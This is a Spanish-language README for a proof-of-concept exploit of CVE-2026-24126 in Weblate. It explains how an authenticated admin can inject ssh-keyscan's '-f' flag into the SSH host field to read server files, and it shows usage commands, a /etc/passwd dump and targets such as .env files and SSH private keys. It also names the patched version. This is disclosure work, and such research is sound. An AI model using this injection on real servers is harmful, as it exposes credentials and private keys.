
Prueba de concepto del exploit para CVE-2026-24126, una lectura arbitraria de archivos en Weblate mediante inyección del argumento de host SSH, que permite a administradores autenticados leer archivos del servidor.
Descubierto por: Alejandro Baño · Enero 2026 Reconocido por: Notas de la versión 5.16 de Weblate
El endpoint de gestión de claves de host SSH de Weblate pasa el parámetro host proporcionado por un administrador autenticado directamente a ssh-keyscan sin ningún tipo de saneamiento ni validación de argumentos. Debido a que ssh-keyscan acepta una bandera -f <archivo> para leer nombres de host de destino desde un archivo, un atacante con credenciales de administrador puede inyectar esa bandera como valor del host y forzar al servidor a abrir un archivo local arbitrario. La salida de error resultante (o stdout) se refleja textualmente de vuelta al navegador dentro de un bloque de mensaje de error, filtrando el contenido del archivo.
| Campo | Valor |
|---|---|
| Objetivo | Weblate (instancias autoalojadas) |
| Componente | Gestión de claves SSH — weblate/ssh/views.py · add_host_key() |
| Autenticación requerida | Sí — cuenta de administrador de Weblate |
| Versiones afectadas | Todas las versiones ≤ 5.15.2 (probado en 5.0.2 y 5.15.2) |
| Impacto | Lectura arbitraria de archivos locales como el usuario del proceso del servidor web (weblate, www-data, etc.) |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — simplificado
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← el host se añade sin validación
result = subprocess.run(cmdline, ...)
El valor de host proviene directamente del campo host del cuerpo de la solicitud POST sin lista blanca, sin eliminar guiones iniciales y sin terminador de argumentos -- antes del valor proporcionado por el usuario. Esto permite a un atacante inyectar cualquier bandera de ssh-keyscan.
ssh-keyscan -f /etc/passwd lee /etc/passwd como una lista de nombres de host, falla al resolver cada línea y produce salida de error para cada una. Esa salida de error se propaga a través del manejador CalledProcessError y se muestra dentro de un bloque alert-danger en la respuesta HTTP.
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| Bandera | Descripción |
|---|---|
-r / --rhost | URL base de la instancia de Weblate |
-u / --username | Nombre de usuario administrador |
-p / --password | Contraseña del administrador |
-f / --file | Ruta del archivo a leer en el servidor |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] Inicio de sesión exitoso para el usuario: admin
[*] Enviando payload a http://localhost/manage/ssh/, esto podría tomar algo de tiempo, por favor sea paciente...
[+] Contenido del archivo extraído:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit finalizado
Cualquier archivo legible por el usuario del sistema operativo que ejecuta Weblate (típicamente el usuario weblate) puede ser exfiltrado mediante una única solicitud POST autenticada. Los objetivos sensibles incluyen:
settings.py, .env, local_settings.py/var/lib/weblate/.ssh/id_rsaActualice a Weblate 5.16.0 o posterior. Esta es la corrección oficial publicada por el equipo de Weblate el 18 de febrero de 2026, que introdujo una validación adecuada de entrada en el campo de host SSH.
Este repositorio está destinado únicamente a investigación de seguridad educativa y autorizada. No utilice esta herramienta contra sistemas que no le pertenezcan o para los cuales no tenga permiso explícito por escrito para realizar pruebas. El autor no asume ninguna responsabilidad por el uso indebido.